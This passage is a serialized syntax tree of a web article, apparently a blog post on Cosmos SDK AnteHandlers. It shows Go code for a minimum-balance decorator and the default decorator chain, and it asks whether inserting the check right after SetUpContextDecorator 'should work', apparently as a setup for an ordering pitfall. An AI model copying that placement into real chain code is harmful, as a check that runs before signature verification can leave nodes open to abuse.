action for the transaction.\n",{"type":23,"tag":131,"props":78559,"children":78560},{},[78561,78572],{"type":23,"tag":135,"props":78562,"children":78563},{},[78564,78566,78571],{"type":28,"value":78565},"Pass the transaction to the next ",{"type":23,"tag":209,"props":78567,"children":78569},{"className":78568},[],[78570],{"type":28,"value":78523},{"type":28,"value":124},{"type":23,"tag":135,"props":78573,"children":78574},{},[78575],{"type":28,"value":78576},"Return error for transaction.",{"type":23,"tag":24,"props":78578,"children":78579},{},[78580,78582,78587],{"type":28,"value":78581},"The bad news is that developing an ",{"type":23,"tag":209,"props":78583,"children":78585},{"className":78584},[],[78586],{"type":28,"value":78523},{"type":28,"value":78588}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":24,"props":78590,"children":78591},{},[78592,78593,78599],{"type":28,"value":2623},{"type":23,"tag":209,"props":78594,"children":78596},{"className":78595},[],[78597],{"type":28,"value":78598},"AnteHandle",{"type":28,"value":78600}," implementation may look something like this:",{"type":23,"tag":202,"props":78602,"children":78604},{"code":78603,"language":76217,"meta":7,"className":76218,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[78605],{"type":23,"tag":209,"props":78606,"children":78607},{"__ignoreMap":7},[78608,78620,78636,78643,78650,78683,78707,78732,78748,78772,78804,78852,78871,78904,78925,78937,78944,78951,78958,78988,79024,79088,79122,79154,79166,79178,79185,79192,79199,79206,79248],{"type":23,"tag":213,"props":78609,"children":78610},{"class":215,"line":216},[78611,78615],{"type":23,"tag":213,"props":78612,"children":78613},{"style":230},[78614],{"type":28,"value":632},{"type":23,"tag":213,"props":78616,"children":78617},{"style":220},[78618],{"type":28,"value":78619}," (\n",{"type":23,"tag":213,"props":78621,"children":78622},{"class":215,"line":226},[78623,78628,78632],{"type":23,"tag":213,"props":78624,"children":78625},{"style":268},[78626],{"type":28,"value":78627}," MIN_BALANCE",{"type":23,"tag":213,"props":78629,"children":78630},{"style":274},[78631],{"type":28,"value":511},{"type":23,"tag":213,"props":78633,"children":78634},{"style":514},[78635],{"type":28,"value":19396},{"type":23,"tag":213,"props":78637,"children":78638},{"class":215,"line":524},[78639],{"type":23,"tag":213,"props":78640,"children":78641},{"style":220},[78642],{"type":28,"value":2183},{"type":23,"tag":213,"props":78644,"children":78645},{"class":215,"line":533},[78646],{"type":23,"tag":213,"props":78647,"children":78648},{"emptyLinePlaceholder":18},[78649],{"type":28,"value":530},{"type":23,"tag":213,"props":78651,"children":78652},{"class":215,"line":543},[78653,78657,78661,78666,78671,78675,78679],{"type":23,"tag":213,"props":78654,"children":78655},{"style":230},[78656],{"type":28,"value":76353},{"type":23,"tag":213,"props":78658,"children":78659},{"style":220},[78660],{"type":28,"value":400},{"type":23,"tag":213,"props":78662,"children":78663},{"style":268},[78664],{"type":28,"value":78665},"abd ",{"type":23,"tag":213,"props":78667,"children":78668},{"style":290},[78669],{"type":28,"value":78670},"AccountBalanceDecorator",{"type":23,"tag":213,"props":78672,"children":78673},{"style":220},[78674],{"type":28,"value":298},{"type":23,"tag":213,"props":78676,"children":78677},{"style":257},[78678],{"type":28,"value":78598},{"type":23,"tag":213,"props":78680,"children":78681},{"style":220},[78682],{"type":28,"value":1511},{"type":23,"tag":213,"props":78684,"children":78685},{"class":215,"line":551},[78686,78690,78695,78699,78703],{"type":23,"tag":213,"props":78687,"children":78688},{"style":268},[78689],{"type":28,"value":20278},{"type":23,"tag":213,"props":78691,"children":78692},{"style":290},[78693],{"type":28,"value":78694}," sdk",{"type":23,"tag":213,"props":78696,"children":78697},{"style":220},[78698],{"type":28,"value":124},{"type":23,"tag":213,"props":78700,"children":78701},{"style":290},[78702],{"type":28,"value":76402},{"type":23,"tag":213,"props":78704,"children":78705},{"style":220},[78706],{"type":28,"value":944},{"type":23,"tag":213,"props":78708,"children":78709},{"class":215,"line":570},[78710,78715,78719,78723,78728],{"type":23,"tag":213,"props":78711,"children":78712},{"style":268},[78713],{"type":28,"value":78714}," tx",{"type":23,"tag":213,"props":78716,"children":78717},{"style":290},[78718],{"type":28,"value":78694},{"type":23,"tag":213,"props":78720,"children":78721},{"style":220},[78722],{"type":28,"value":124},{"type":23,"tag":213,"props":78724,"children":78725},{"style":290},[78726],{"type":28,"value":78727},"Tx",{"type":23,"tag":213,"props":78729,"children":78730},{"style":220},[78731],{"type":28,"value":944},{"type":23,"tag":213,"props":78733,"children":78734},{"class":215,"line":655},[78735,78740,78744],{"type":23,"tag":213,"props":78736,"children":78737},{"style":268},[78738],{"type":28,"value":78739}," simulate",{"type":23,"tag":213,"props":78741,"children":78742},{"style":290},[78743],{"type":28,"value":965},{"type":23,"tag":213,"props":78745,"children":78746},{"style":220},[78747],{"type":28,"value":944},{"type":23,"tag":213,"props":78749,"children":78750},{"class":215,"line":1176},[78751,78756,78760,78764,78768],{"type":23,"tag":213,"props":78752,"children":78753},{"style":268},[78754],{"type":28,"value":78755}," next",{"type":23,"tag":213,"props":78757,"children":78758},{"style":290},[78759],{"type":28,"value":78694},{"type":23,"tag":213,"props":78761,"children":78762},{"style":220},[78763],{"type":28,"value":124},{"type":23,"tag":213,"props":78765,"children":78766},{"style":290},[78767],{"type":28,"value":78523},{"type":23,"tag":213,"props":78769,"children":78770},{"style":220},[78771],{"type":28,"value":944},{"type":23,"tag":213,"props":78773,"children":78774},{"class":215,"line":1202},[78775,78779,78784,78788,78792,78796,78800],{"type":23,"tag":213,"props":78776,"children":78777},{"style":220},[78778],{"type":28,"value":76435},{"type":23,"tag":213,"props":78780,"children":78781},{"style":290},[78782],{"type":28,"value":78783},"sdk",{"type":23,"tag":213,"props":78785,"children":78786},{"style":220},[78787],{"type":28,"value":124},{"type":23,"tag":213,"props":78789,"children":78790},{"style":290},[78791],{"type":28,"value":76402},{"type":23,"tag":213,"props":78793,"children":78794},{"style":220},[78795],{"type":28,"value":424},{"type":23,"tag":213,"props":78797,"children":78798},{"style":290},[78799],{"type":28,"value":14929},{"type":23,"tag":213,"props":78801,"children":78802},{"style":220},[78803],{"type":28,"value":14870},{"type":23,"tag":213,"props":78805,"children":78806},{"class":215,"line":1758},[78807,78812,78816,78821,78825,78829,78834,78839,78843,78848],{"type":23,"tag":213,"props":78808,"children":78809},{"style":268},[78810],{"type":28,"value":78811}," sigTx",{"type":23,"tag":213,"props":78813,"children":78814},{"style":220},[78815],{"type":28,"value":424},{"type":23,"tag":213,"props":78817,"children":78818},{"style":268},[78819],{"type":28,"value":78820},"ok",{"type":23,"tag":213,"props":78822,"children":78823},{"style":274},[78824],{"type":28,"value":76469},{"type":23,"tag":213,"props":78826,"children":78827},{"style":268},[78828],{"type":28,"value":68081},{"type":23,"tag":213,"props":78830,"children":78831},{"style":220},[78832],{"type":28,"value":78833},".(",{"type":23,"tag":213,"props":78835,"children":78836},{"style":290},[78837],{"type":28,"value":78838},"authsigning",{"type":23,"tag":213,"props":78840,"children":78841},{"style":220},[78842],{"type":28,"value":124},{"type":23,"tag":213,"props":78844,"children":78845},{"style":290},[78846],{"type":28,"value":78847},"SigVerifiableTx",{"type":23,"tag":213,"props":78849,"children":78850},{"style":220},[78851],{"type":28,"value":2183},{"type":23,"tag":213,"props":78853,"children":78854},{"class":215,"line":1767},[78855,78859,78863,78867],{"type":23,"tag":213,"props":78856,"children":78857},{"style":1362},[78858],{"type":28,"value":2653},{"type":23,"tag":213,"props":78860,"children":78861},{"style":274},[78862],{"type":28,"value":2658},{"type":23,"tag":213,"props":78864,"children":78865},{"style":268},[78866],{"type":28,"value":78820},{"type":23,"tag":213,"props":78868,"children":78869},{"style":220},[78870],{"type":28,"value":1375},{"type":23,"tag":213,"props":78872,"children":78873},{"class":215,"line":1789},[78874,78878,78882,78886,78891,78895,78900],{"type":23,"tag":213,"props":78875,"children":78876},{"style":1362},[78877],{"type":28,"value":2839},{"type":23,"tag":213,"props":78879,"children":78880},{"style":268},[78881],{"type":28,"value":25898},{"type":23,"tag":213,"props":78883,"children":78884},{"style":220},[78885],{"type":28,"value":424},{"type":23,"tag":213,"props":78887,"children":78888},{"style":268},[78889],{"type":28,"value":78890},"errorsmod",{"type":23,"tag":213,"props":78892,"children":78893},{"style":220},[78894],{"type":28,"value":124},{"type":23,"tag":213,"props":78896,"children":78897},{"style":257},[78898],{"type":28,"value":78899},"Wrap",{"type":23,"tag":213,"props":78901,"children":78902},{"style":220},[78903],{"type":28,"value":1511},{"type":23,"tag":213,"props":78905,"children":78906},{"class":215,"line":1812},[78907,78912,78916,78921],{"type":23,"tag":213,"props":78908,"children":78909},{"style":268},[78910],{"type":28,"value":78911}," sdkerrors",{"type":23,"tag":213,"props":78913,"children":78914},{"style":220},[78915],{"type":28,"value":124},{"type":23,"tag":213,"props":78917,"children":78918},{"style":268},[78919],{"type":28,"value":78920},"ErrTxDecode",{"type":23,"tag":213,"props":78922,"children":78923},{"style":220},[78924],{"type":28,"value":944},{"type":23,"tag":213,"props":78926,"children":78927},{"class":215,"line":1838},[78928,78933],{"type":23,"tag":213,"props":78929,"children":78930},{"style":246},[78931],{"type":28,"value":78932}," \"invalid tx type\"",{"type":23,"tag":213,"props":78934,"children":78935},{"style":220},[78936],{"type":28,"value":944},{"type":23,"tag":213,"props":78938,"children":78939},{"class":215,"line":1851},[78940],{"type":23,"tag":213,"props":78941,"children":78942},{"style":220},[78943],{"type":28,"value":68373},{"type":23,"tag":213,"props":78945,"children":78946},{"class":215,"line":1864},[78947],{"type":23,"tag":213,"props":78948,"children":78949},{"style":220},[78950],{"type":28,"value":2875},{"type":23,"tag":213,"props":78952,"children":78953},{"class":215,"line":1890},[78954],{"type":23,"tag":213,"props":78955,"children":78956},{"emptyLinePlaceholder":18},[78957],{"type":28,"value":530},{"type":23,"tag":213,"props":78959,"children":78960},{"class":215,"line":1899},[78961,78966,78970,78975,78979,78984],{"type":23,"tag":213,"props":78962,"children":78963},{"style":268},[78964],{"type":28,"value":78965}," signers",{"type":23,"tag":213,"props":78967,"children":78968},{"style":274},[78969],{"type":28,"value":76469},{"type":23,"tag":213,"props":78971,"children":78972},{"style":268},[78973],{"type":28,"value":78974}," sigTx",{"type":23,"tag":213,"props":78976,"children":78977},{"style":220},[78978],{"type":28,"value":124},{"type":23,"tag":213,"props":78980,"children":78981},{"style":257},[78982],{"type":28,"value":78983},"GetSigners",{"type":23,"tag":213,"props":78985,"children":78986},{"style":220},[78987],{"type":28,"value":7824},{"type":23,"tag":213,"props":78989,"children":78990},{"class":215,"line":1912},[78991,78995,78999,79003,79007,79011,79015,79020],{"type":23,"tag":213,"props":78992,"children":78993},{"style":1362},[78994],{"type":28,"value":3131},{"type":23,"tag":213,"props":78996,"children":78997},{"style":268},[78998],{"type":28,"value":3494},{"type":23,"tag":213,"props":79000,"children":79001},{"style":220},[79002],{"type":28,"value":424},{"type":23,"tag":213,"props":79004,"children":79005},{"style":268},[79006],{"type":28,"value":7236},{"type":23,"tag":213,"props":79008,"children":79009},{"style":274},[79010],{"type":28,"value":76469},{"type":23,"tag":213,"props":79012,"children":79013},{"style":1362},[79014],{"type":28,"value":77452},{"type":23,"tag":213,"props":79016,"children":79017},{"style":268},[79018],{"type":28,"value":79019}," signers",{"type":23,"tag":213,"props":79021,"children":79022},{"style":220},[79023],{"type":28,"value":1375},{"type":23,"tag":213,"props":79025,"children":79026},{"class":215,"line":1921},[79027,79032,79036,79041,79045,79050,79054,79059,79063,79067,79071,79075,79079,79084],{"type":23,"tag":213,"props":79028,"children":79029},{"style":268},[79030],{"type":28,"value":79031}," balance",{"type":23,"tag":213,"props":79033,"children":79034},{"style":274},[79035],{"type":28,"value":76469},{"type":23,"tag":213,"props":79037,"children":79038},{"style":268},[79039],{"type":28,"value":79040}," abd",{"type":23,"tag":213,"props":79042,"children":79043},{"style":220},[79044],{"type":28,"value":124},{"type":23,"tag":213,"props":79046,"children":79047},{"style":268},[79048],{"type":28,"value":79049},"bk",{"type":23,"tag":213,"props":79051,"children":79052},{"style":220},[79053],{"type":28,"value":124},{"type":23,"tag":213,"props":79055,"children":79056},{"style":257},[79057],{"type":28,"value":79058},"getBalance",{"type":23,"tag":213,"props":79060,"children":79061},{"style":220},[79062],{"type":28,"value":265},{"type":23,"tag":213,"props":79064,"children":79065},{"style":268},[79066],{"type":28,"value":20335},{"type":23,"tag":213,"props":79068,"children":79069},{"style":220},[79070],{"type":28,"value":424},{"type":23,"tag":213,"props":79072,"children":79073},{"style":268},[79074],{"type":28,"value":7236},{"type":23,"tag":213,"props":79076,"children":79077},{"style":220},[79078],{"type":28,"value":424},{"type":23,"tag":213,"props":79080,"children":79081},{"style":268},[79082],{"type":28,"value":79083},"ATOM",{"type":23,"tag":213,"props":79085,"children":79086},{"style":220},[79087],{"type":28,"value":2183},{"type":23,"tag":213,"props":79089,"children":79090},{"class":215,"line":3879},[79091,79095,79100,79104,79109,79113,79118],{"type":23,"tag":213,"props":79092,"children":79093},{"style":1362},[79094],{"type":28,"value":3369},{"type":23,"tag":213,"props":79096,"children":79097},{"style":268},[79098],{"type":28,"value":79099}," balance",{"type":23,"tag":213,"props":79101,"children":79102},{"style":220},[79103],{"type":28,"value":124},{"type":23,"tag":213,"props":79105,"children":79106},{"style":268},[79107],{"type":28,"value":79108},"Amount",{"type":23,"tag":213,"props":79110,"children":79111},{"style":274},[79112],{"type":28,"value":8804},{"type":23,"tag":213,"props":79114,"children":79115},{"style":268},[79116],{"type":28,"value":79117}," MIN_BALANCE",{"type":23,"tag":213,"props":79119,"children":79120},{"style":220},[79121],{"type":28,"value":1375},{"type":23,"tag":213,"props":79123,"children":79124},{"class":215,"line":3887},[79125,79130,79134,79138,79142,79146,79150],{"type":23,"tag":213,"props":79126,"children":79127},{"style":1362},[79128],{"type":28,"value":79129}," return",{"type":23,"tag":213,"props":79131,"children":79132},{"style":268},[79133],{"type":28,"value":25898},{"type":23,"tag":213,"props":79135,"children":79136},{"style":220},[79137],{"type":28,"value":424},{"type":23,"tag":213,"props":79139,"children":79140},{"style":268},[79141],{"type":28,"value":78890},{"type":23,"tag":213,"props":79143,"children":79144},{"style":220},[79145],{"type":28,"value":124},{"type":23,"tag":213,"props":79147,"children":79148},{"style":257},[79149],{"type":28,"value":78899},{"type":23,"tag":213,"props":79151,"children":79152},{"style":220},[79153],{"type":28,"value":1511},{"type":23,"tag":213,"props":79155,"children":79156},{"class":215,"line":3918},[79157,79162],{"type":23,"tag":213,"props":79158,"children":79159},{"style":268},[79160],{"type":28,"value":79161}," ErrInsufficientBalance",{"type":23,"tag":213,"props":79163,"children":79164},{"style":220},[79165],{"type":28,"value":944},{"type":23,"tag":213,"props":79167,"children":79168},{"class":215,"line":3926},[79169,79174],{"type":23,"tag":213,"props":79170,"children":79171},{"style":246},[79172],{"type":28,"value":79173}," \"Insufficient Balance\"",{"type":23,"tag":213,"props":79175,"children":79176},{"style":220},[79177],{"type":28,"value":944},{"type":23,"tag":213,"props":79179,"children":79180},{"class":215,"line":3986},[79181],{"type":23,"tag":213,"props":79182,"children":79183},{"style":220},[79184],{"type":28,"value":77568},{"type":23,"tag":213,"props":79186,"children":79187},{"class":215,"line":9132},[79188],{"type":23,"tag":213,"props":79189,"children":79190},{"style":220},[79191],{"type":28,"value":3444},{"type":23,"tag":213,"props":79193,"children":79194},{"class":215,"line":9150},[79195],{"type":23,"tag":213,"props":79196,"children":79197},{"style":220},[79198],{"type":28,"value":2875},{"type":23,"tag":213,"props":79200,"children":79201},{"class":215,"line":9195},[79202],{"type":23,"tag":213,"props":79203,"children":79204},{"emptyLinePlaceholder":18},[79205],{"type":28,"value":530},{"type":23,"tag":213,"props":79207,"children":79208},{"class":215,"line":9301},[79209,79213,79218,79222,79226,79230,79235,79239,79244],{"type":23,"tag":213,"props":79210,"children":79211},{"style":1362},[79212],{"type":28,"value":17040},{"type":23,"tag":213,"props":79214,"children":79215},{"style":257},[79216],{"type":28,"value":79217}," next",{"type":23,"tag":213,"props":79219,"children":79220},{"style":220},[79221],{"type":28,"value":265},{"type":23,"tag":213,"props":79223,"children":79224},{"style":268},[79225],{"type":28,"value":20335},{"type":23,"tag":213,"props":79227,"children":79228},{"style":220},[79229],{"type":28,"value":424},{"type":23,"tag":213,"props":79231,"children":79232},{"style":268},[79233],{"type":28,"value":79234},"tx",{"type":23,"tag":213,"props":79236,"children":79237},{"style":220},[79238],{"type":28,"value":424},{"type":23,"tag":213,"props":79240,"children":79241},{"style":268},[79242],{"type":28,"value":79243},"simulate",{"type":23,"tag":213,"props":79245,"children":79246},{"style":220},[79247],{"type":28,"value":2183},{"type":23,"tag":213,"props":79249,"children":79250},{"class":215,"line":23557},[79251],{"type":23,"tag":213,"props":79252,"children":79253},{"style":220},[79254],{"type":28,"value":1208},{"type":23,"tag":24,"props":79256,"children":79257},{},[79258,79260,79265,79267,79273,79275,79281],{"type":28,"value":79259},"Where should this custom ",{"type":23,"tag":209,"props":79261,"children":79263},{"className":79262},[],[79264],{"type":28,"value":78523},{"type":28,"value":79266}," be placed relative to other ",{"type":23,"tag":209,"props":79268,"children":79270},{"className":79269},[],[79271],{"type":28,"value":79272},"AnteHandlers",{"type":28,"value":79274}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":209,"props":79276,"children":79278},{"className":79277},[],[79279],{"type":28,"value":79280},"SetUpContextDecorator",{"type":28,"value":79282}," should work, right?",{"type":23,"tag":24,"props":79284,"children":79285},{},[79286],{"type":23,"tag":36,"props":79287,"children":79290},{"href":79288,"rel":79289},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[40],[79291],{"type":28,"value":76792},{"type":23,"tag":202,"props":79293,"children":79295},{"code":79294,"language":76217,"meta":7,"className":76218,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[79296],{"type":23,"tag":209,"props":79297,"children":79298},{"__ignoreMap":7},[79299,79332,79349,79357,79386,79398,79410,79439,79467,79546,79579,79607,79652,79697,79725],{"type":23,"tag":213,"props":79300,"children":79301},{"class":215,"line":216},[79302,79307,79311,79315,79319,79323,79328],{"type":23,"tag":213,"props":79303,"children":79304},{"style":268},[79305],{"type":28,"value":79306},"anteDecorators",{"type":23,"tag":213,"props":79308,"children":79309},{"style":274},[79310],{"type":28,"value":76469},{"type":23,"tag":213,"props":79312,"children":79313},{"style":220},[79314],{"type":28,"value":76280},{"type":23,"tag":213,"props":79316,"children":79317},{"style":290},[79318],{"type":28,"value":78783},{"type":23,"tag":213,"props":79320,"children":79321},{"style":220},[79322],{"type":28,"value":124},{"type":23,"tag":213,"props":79324,"children":79325},{"style":290},[79326],{"type":28,"value":79327},"AnteDecorator",{"type":23,"tag":213,"props":79329,"children":79330},{"style":220},[79331],{"type":28,"value":10964},{"type":23,"tag":213,"props":79333,"children":79334},{"class":215,"line":226},[79335,79340,79344],{"type":23,"tag":213,"props":79336,"children":79337},{"style":257},[79338],{"type":28,"value":79339}," NewSetUpContextDecorator",{"type":23,"tag":213,"props":79341,"children":79342},{"style":220},[79343],{"type":28,"value":18426},{"type":23,"tag":213,"props":79345,"children":79346},{"style":537},[79347],{"type":28,"value":79348},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":213,"props":79350,"children":79351},{"class":215,"line":524},[79352],{"type":23,"tag":213,"props":79353,"children":79354},{"style":537},[79355],{"type":28,"value":79356}," // INSERT HERE\n",{"type":23,"tag":213,"props":79358,"children":79359},{"class":215,"line":533},[79360,79365,79369,79373,79377,79382],{"type":23,"tag":213,"props":79361,"children":79362},{"style":257},[79363],{"type":28,"value":79364}," NewExtensionOptionsDecorator",{"type":23,"tag":213,"props":79366,"children":79367},{"style":220},[79368],{"type":28,"value":265},{"type":23,"tag":213,"props":79370,"children":79371},{"style":268},[79372],{"type":28,"value":36096},{"type":23,"tag":213,"props":79374,"children":79375},{"style":220},[79376],{"type":28,"value":124},{"type":23,"tag":213,"props":79378,"children":79379},{"style":268},[79380],{"type":28,"value":79381},"ExtensionOptionChecker",{"type":23,"tag":213,"props":79383,"children":79384},{"style":220},[79385],{"type":28,"value":1715},{"type":23,"tag":213,"props":79387,"children":79388},{"class":215,"line":543},[79389,79394],{"type":23,"tag":213,"props":79390,"children":79391},{"style":257},[79392],{"type":28,"value":79393}," NewValidateBasicDecorator",{"type":23,"tag":213,"props":79395,"children":79396},{"style":220},[79397],{"type":28,"value":1809},{"type":23,"tag":213,"props":79399,"children":79400},{"class":215,"line":551},[79401,79406],{"type":23,"tag":213,"props":79402,"children":79403},{"style":257},[79404],{"type":28,"value":79405}," NewTxTimeoutHeightDecorator",{"type":23,"tag":213,"props":79407,"children":79408},{"style":220},[79409],{"type":28,"value":1809},{"type":23,"tag":213,"props":79411,"children":79412},{"class":215,"line":570},[79413,79418,79422,79426,79430,79435],{"type":23,"tag":213,"props":79414,"children":79415},{"style":257},[79416],{"type":28,"value":79417}," NewValidateMemoDecorator",{"type":23,"tag":213,"props":79419,"children":79420},{"style":220},[79421],{"type":28,"value":265},{"type":23,"tag":213,"props":79423,"children":79424},{"style":268},[79425],{"type":28,"value":36096},{"type":23,"tag":213,"props":79427,"children":79428},{"style":220},[79429],{"type":28,"value":124},{"type":23,"tag":213,"props":79431,"children":79432},{"style":268},[79433],{"type":28,"value":79434},"AccountKeeper",{"type":23,"tag":213,"props":79436,"children":79437},{"style":220},[79438],{"type":28,"value":1715},{"type":23,"tag":213,"props":79440,"children":79441},{"class":215,"line":655},[79442,79447,79451,79455,79459,79463],{"type":23,"tag":213,"props":79443,"children":79444},{"style":257},[79445],{"type":28,"value":79446}," NewConsumeGasForTxSizeDecorator",{"type":23,"tag":213,"props":79448,"children":79449},{"style":220},[79450],{"type":28,"value":265},{"type":23,"tag":213,"props":79452,"children":79453},{"style":268},[79454],{"type":28,"value":36096},{"type":23,"tag":213,"props":79456,"children":79457},{"style":220},[79458],{"type":28,"value":124},{"type":23,"tag":213,"props":79460,"children":79461},{"style":268},[79462],{"type":28,"value":79434},{"type":23,"tag":213,"props":79464,"children":79465},{"style":220},[79466],{"type":28,"value":1715},{"type":23,"tag":213,"props":79468,"children":79469},{"class":215,"line":1176},[79470,79475,79479,79483,79487,79491,79495,79499,79503,79508,79512,79516,79520,79525,79529,79533,79537,79542],{"type":23,"tag":213,"props":79471,"children":79472},{"style":257},[79473],{"type":28,"value":79474}," NewDeductFeeDecorator",{"type":23,"tag":213,"props":79476,"children":79477},{"style":220},[79478],{"type":28,"value":265},{"type":23,"tag":213,"props":79480,"children":79481},{"style":268},[79482],{"type":28,"value":36096},{"type":23,"tag":213,"props":79484,"children":79485},{"style":220},[79486],{"type":28,"value":124},{"type":23,"tag":213,"props":79488,"children":79489},{"style":268},[79490],{"type":28,"value":79434},{"type":23,"tag":213,"props":79492,"children":79493},{"style":220},[79494],{"type":28,"value":424},{"type":23,"tag":213,"props":79496,"children":79497},{"style":268},[79498],{"type":28,"value":36096},{"type":23,"tag":213,"props":79500,"children":79501},{"style":220},[79502],{"type":28,"value":124},{"type":23,"tag":213,"props":79504,"children":79505},{"style":268},[79506],{"type":28,"value":79507},"BankKeeper",{"type":23,"tag":213,"props":79509,"children":79510},{"style":220},[79511],{"type":28,"value":424},{"type":23,"tag":213,"props":79513,"children":79514},{"style":268},[79515],{"type":28,"value":36096},{"type":23,"tag":213,"props":79517,"children":79518},{"style":220},[79519],{"type":28,"value":124},{"type":23,"tag":213,"props":79521,"children":79522},{"style":268},[79523],{"type":28,"value":79524},"FeegrantKeeper",{"type":23,"tag":213,"props":79526,"children":79527},{"style":220},[79528],{"type":28,"value":424},{"type":23,"tag":213,"props":79530,"children":79531},{"style":268},[79532],{"type":28,"value":36096},{"type":23,"tag":213,"props":79534,"children":79535},{"style":220},[79536],{"type":28,"value":124},{"type":23,"tag":213,"props":79538,"children":79539},{"style":268},[79540],{"type":28,"value":79541},"TxFeeChecker",{"type":23,"tag":213,"props":79543,"children":79544},{"style":220},[79545],{"type":28,"value":1715},{"type":23,"tag":213,"props":79547,"children":79548},{"class":215,"line":1202},[79549,79554,79558,79562,79566,79570,79574],{"type":23,"tag":213,"props":79550,"children":79551},{"style":257},[79552],{"type":28,"value":79553}," NewSetPubKeyDecorator",{"type":23,"tag":213,"props":79555,"children":79556},{"style":220},[79557],{"type":28,"value":265},{"type":23,"tag":213,"props":79559,"children":79560},{"style":268},[79561],{"type":28,"value":36096},{"type":23,"tag":213,"props":79563,"children":79564},{"style":220},[79565],{"type":28,"value":124},{"type":23,"tag":213,"props":79567,"children":79568},{"style":268},[79569],{"type":28,"value":79434},{"type":23,"tag":213,"props":79571,"children":79572},{"style":220},[79573],{"type":28,"value":15236},{"type":23,"tag":213,"props":79575,"children":79576},{"style":537},[79577],{"type":28,"value":79578},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":213,"props":79580,"children":79581},{"class":215,"line":1758},[79582,79587,79591,79595,79599,79603],{"type":23,"tag":213,"props":79583,"children":79584},{"style":257},[79585],{"type":28,"value":79586}," NewValidateSigCountDecorator",{"type":23,"tag":213,"props":79588,"children":79589},{"style":220},[79590],{"type":28,"value":265},{"type":23,"tag":213,"props":79592,"children":79593},{"style":268},[79594],{"type":28,"value":36096},{"type":23,"tag":213,"props":79596,"children":79597},{"style":220},[79598],{"type":28,"value":124},{"type":23,"tag":213,"props":79600,"children":79601},{"style":268},[79602],{"type":28,"value":79434},{"type":23,"tag":213,"props":79604,"children":79605},{"style":220},[79606],{"type":28,"value":1715},{"type":23,"tag":213,"props":79608,"children":79609},{"class":215,"line":1767},[79610,79615,79619,79623,79627,79631,79635,79639,79643,79648],{"type":23,"tag":213,"props":79611,"children":79612},{"style":257},[79613],{"type":28,"value":79614}," NewSigGasConsumeDecorator",{"type":23,"tag":213,"props":79616,"children":79617},{"style":220},[79618],{"type":28,"value":265},{"type":23,"tag":213,"props":79620,"children":79621},{"style":268},[79622],{"type":28,"value":36096},{"type":23,"tag":213,"props":79624,"children":79625},{"style":220},[79626],{"type":28,"value":124},{"type":23,"tag":213,"props":79628,"children":79629},{"style":268},[79630],{"type":28,"value":79434},{"type":23,"tag":213,"props":79632,"children":79633},{"style":220},[79634],{"type":28,"value":424},{"type":23,"tag":213,"props":79636,"children":79637},{"style":268},[79638],{"type":28,"value":36096},{"type":23,"tag":213,"props":79640,"children":79641},{"style":220},[79642],{"type":28,"value":124},{"type":23,"tag":213,"props":79644,"children":79645},{"style":268},[79646],{"type":28,"value":79647},"SigGasConsumer",{"type":23,"tag":213,"props":79649,"children":79650},{"style":220},[79651],{"type":28,"value":1715},{"type":23,"tag":213,"props":79653,"children":79654},{"class":215,"line":1789},[79655,79660,79664,79668,79672,79676,79680,79684,79688,79693],{"type":23,"tag":213,"props":79656,"children":79657},{"style":257},[79658],{"type":28,"value":79659}," NewSigVerificationDecorator",{"type":23,"tag":213,"props":79661,"children":79662},{"style":220},[79663],{"type":28,"value":265},{"type":23,"tag":213,"props":79665,"children":79666},{"style":268},[79667],{"type":28,"value":36096},{"type":23,"tag":213,"props":79669,"children":79670},{"style":220},[79671],{"type":28,"value":124},{"type":23,"tag":213,"props":79673,"children":79674},{"style":268},[79675],{"type":28,"value":79434},{"type":23,"tag":213,"props":79677,"children":79678},{"style":220},[79679],{"type":28,"value":424},{"type":23,"tag":213,"props":79681,"children":79682},{"style":268},[79683],{"type":28,"value":36096},{"type":23,"tag":213,"props":79685,"children":79686},{"style":220},[79687],{"type":28,"value":124},{"type":23,"tag":213,"props":79689,"children":79690},{"style":268},[79691],{"type":28,"value":79692},"SignModeHandler",{"type":23,"tag":213,"props":79694,"children":79695},{"style":220},[79696],{"type":28,"value":1715},{"type":23,"tag":213,"props":79698,"children":79699},{"class":215,"line":1812},[79700,79705,79709,79713,79717,79721],{"type":23,"tag":213,"props":79701,"children":79702},{"style":257},[79703],{"type":28,"value":79704}," 